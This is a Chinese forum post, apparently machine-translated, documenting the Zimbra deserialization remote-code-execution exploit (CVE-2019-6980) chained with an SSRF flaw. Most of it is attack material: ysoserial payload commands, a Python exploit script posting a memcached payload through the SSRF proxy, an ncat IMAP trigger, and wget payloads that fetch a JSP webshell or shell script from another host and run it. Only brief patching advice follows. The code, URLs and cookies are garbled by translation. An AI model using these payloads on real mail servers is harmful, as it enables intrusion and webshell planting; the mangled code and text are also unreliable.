Xiao7 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 津布拉反序列化漏洞(CVE-2019-6980)适用于8.7.x至8.8.11的津布拉邮件服务器,是一个远程代码执行漏洞。 考虑到距补丁公开日期已经超过两年,并且没有一个完整的可用POC,所以本文将要在技术研究的角度记录测试过程,开源利用脚本,分享细节。 0x01 简介 本文将要介绍以下内容: 本地漏洞复现 实际利用分析 开源利用脚本 防御建议 0x02 本地漏洞复现 参考资料: https://博客。色调0。com/2019/03/a-saga-of-code-executions-on-zimbra。超文本标记语言 https://blog.csdn.net/fnmsd/article/details/89235589?UTM _ medium=分销。PC _相关。无-任务-博客-blogcommendfromachinelenpai 2-1。控制分配请求标识=1328603.11954。1614928993579653深度_ 1-UTM _源=分布。PC _相关。无-任务-博客-blogcommendfromachinelenpai 2-1。控制 (1)搭建环境 挑选符合漏洞版本的津布拉邮件服务器,下载地址: https://www。津布拉。com/downloads/zimbra-协作-开源/归档/ 具体搭建过程可参考其他资料 (2)创建用户 创建一个测试用户测试1,命令如下: /opt/zimbra/bin/zm [email protected]省密码123显示名称 结果返回测试用户测试一对应的津布雷德,格式为11111111-1111-1111-1111-111111111111 补充:其它常用命令 参考资料:https://维基。津布拉。com/wiki/zm prov 列出所有用户: /opt/zimbra/bin/zmprov -l gaa 列出所有管理员用户: /opt/zimbra/bin/zmprov gaaa 查看用户测试一对应的zimbraId: /opt/zimbra/bin/zm prov ga test1 zimbride (3)修改服务器配置 列出所有服务器: /opt/zimbra/bin/zmprov gad 得到服务器名称test.zimbra.com 查看配置信息zimbraMemcachedClientServerList: /opt/zimbra/bin/zm prov GS test.zimbra.com zimbraMemcachedClientServerList 默认返回结果为空 设置zimbraMemcachedClientServerList的值为127.0.0.1: /opt/zimbra/bin/zm test.zimbra.com女士 (4)重启Zimbra /opt/zimbra/bin/zmcontrol重新启动 注: 首次修改zimbraMemcachedClientServerList需要重启津布拉 如果非首次修改zimbraMemcachedClientServerList,在设置后执行ReloadMemcachedClientConfig命令即可: /opt/zimbra/bin/zmprov rmcc all (5)生成Payload 这里需要使用ysoserial 命令如下: Java-jar yso系列。jar Mozilla rhino 2 '/bin/touch/tmp/test 12345 '测试。目标文件 (6)登录测试用户test1,获得Cookie 通过浏览器登录测试用户测试1,取出登录饼干,信息如下: 0 _ 8 ef 6794 c8 d0d 991 add 9 EBD 717 c 09 e 7 f 7 b 69 b8 d 76 _ 69641d 11161 a 19166611181165102d 161411172d 146218192d 626611662d 1516217621062651 b 6578701d 1111111111111 a 11 (7)发送Payload 这里需要使用Python2.7 注: 使用Python3需要考虑字节数组的类型转换 Python2.7的代码如下: 导入请求 从请求。包裹。URL库3。例外导入不安全请求警告 请求。包裹。URL库3。disable _ warnings(保险请求警告) 账户id=' 111111111-1111-1111-11111-1111111 ' 文件夹编号=2 modseq=1 uidvalidity=1 cache key=' zmi映射:{帐户id }:{文件夹号}:{ modseq }:{ uid有效性} ' .格式(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity)) 打印(缓存键) 用open(r'test.obj ',' rb ')作为女: 有效负载=f.read() set _ command=b ' set { cache key } 2048 3600 { payloadsize } \ r \ n ' .格式(cacheKey=cacheKey,payloadsize=str(len(payload)))有效负载\r\n ' 标题={ ' cookie ':' ZM _管理_验证_令牌=0 _ 8 ef 6794 c8 d0d 991添加9 EBD 717 c 09 e 7 f 7 b 69 b 8d 76 _ 69641d 11161 a 1916611181165102d 1462181172d 146218192d 62661166217621762162162106210621062652d 主机:' foo:7071 ' } r=requests . post(' https://192 . 168 . 1 . 1/service/proxy?target=http://127.0.0.1:11211 ',data=set_command,headers=headers,verify=False) 打印简历 注: 上述代码由《Zimbra SSRF+Memcached+反序列化漏洞利用复现》修改而来。 参数描述: Accountid:对应的zimbraId 文件夹号:2代表收件箱 Modseq:对于新用户,默认值为1。 Uidvalidity:对于新用户,默认值为1。 代码详细信息: 这里需要添加Cookie信息,登录后填写普通用户的token。名称设置为ZM管理认证令牌,请求的地址是https://192.168.1.1/service/proxy?Target=3358127.0.0.1: 11211。这是利用SSRF(CVE-2019-9621)漏洞最终将数据发送到端口11211。 通常情况下,Zimbra不会向公众开放11211端口,但如果这样做,您可以修改上述代码来直接访问11211端口,而无需借助SSRF(CVE-2019-9621)漏洞。 (8)触发反序列化,执行代码 Nc使用imap-ssl协议登录测试用户test1,访问收件箱,触发漏洞。 该命令如下所示: ncat - ssl a001登录[email protected]密码123 a001选择收件箱 0x03 实际利用分析 1.适用条件 它可以分为以下两种情况: (1)Zimbra服务器版本为8.7.x至8.8.11 能够访问imap-ssl端口(默认为993) SSRF(CVE-2019-9621)漏洞存在。 如果服务器没有设置ZimbramCacheClientServerList,需要通过SSRF(CVE-2019-9621)漏洞设置为127.0.0.1,等待Zimbre重启。 (2)Zimbra服务器版本为8.7.x至8.8.11 需要能够访问imap-ssl端口(默认为993) 不存在SSRF(CVE-2019-9621)漏洞。 需要用户凭据(明文密码)。 需要能够访问端口11211 ziramecacheclientserverlist的值需要设置为127.0.0.1。 第二种情况太苛刻了,而且通常是第一种情况,所以下面介绍如何利用SSRF(CVE-2019-9621)的漏洞 2.利用流程 可以通过使用以前的开源脚本zimbra _ soap _ API _ manage.py来利用SSRF(CVE-2019-9621)的漏洞 (1)创建用户 使用CreateAccountSSRF命令创建新用户。 (2)查看配置 使用GetMemcachedClientConfigSSRF命令获取ZimframeCachedclientserverlist。如果结果不是127.0.0.1,则需要重置。 (3)设置zimbraMemcachedClientServerList 使用命令GetServerSSRF获取ServerID并将其用作参数。 使用命令ModifyServerSSRF修改配置,名称为zimbraemcachedclientserverlist,值为127.0.0.1。 (4)重新加载 使用reload memcached clientconfigssrf命令使更改生效。 (5)生成Payload 在ysoserial中使用MozillaRhino2函数 MozillaRhino2在代码实现中通过exec()方法执行Linux命令。这里需要注意的是,exec()方法不能执行带有特殊字符的命令,比如| 也就是说,文件写操作不能通过特殊字符来实现。 它可以通过wget命令来实现。 示例1:直接下载jsp文件 Java-jar yso serial . jar mozillarhino 2 '/usr/bin/wget https://192 . 168 . 1 . 1/test . JSP-no-check-certificate-O/opt/zimbra/jetty/web apps/zimbra/public/test . JSP ' payload . obj 示例2:下载sh脚本并执行它。 test.sh的内容如下: #!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/git/bin:/usr/local/sbin:~/bin 回声$ PWD/tmp/测试 生成有效负载的命令: Java-jar yso serial . jar Mozilla rhino 2 '/usr/bin/wget https://192 . 168 . 1 . 1/test . sh-no-check-certificate-O/tmp/test . sh ' payload . obj Java-jar yso serial . jar Mozilla rhino 2 '/bin/sh/tmp/test . sh ' payload . obj (6)执行脚本Zimbra_deserialization_RCE(CVE-2019-6980).py Zira _反序列化_ RCE (CVE-2019-6980)。py自动执行以下操作: 登录并获取Cookie。 通过GetAccountInfoRequest获取用户对应的zimbraId。 通过SSRF(CVE-2019-9621)漏洞将有效负载发送到端口11211 使用imap-ssl协议登录用户,访问收件箱,触发反序列化漏洞,执行代码。 代码已经上传到github,地址如下: https://github . com/3g student/Homework-of-Python/blob/master/Zimbra _反序列化_RCE(CVE-2019-6980)。巴拉圭 这里需要注意的是,Python在用imaplib实现imap-ssl协议时,可以得到uidvalidity的值,但不能得到modseq的值。 0x04 防御建议 升级,安装补丁 禁止外部访问端口11211。 禁止外部访问端口7071。 0x05 小结 本文介绍了Zimbra反序列化漏洞(CVE-2019-6980)的测试过程。开源使用脚本Zimbra _反序列化_ rce (CVE-2019-6980)。py分享一下细节。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子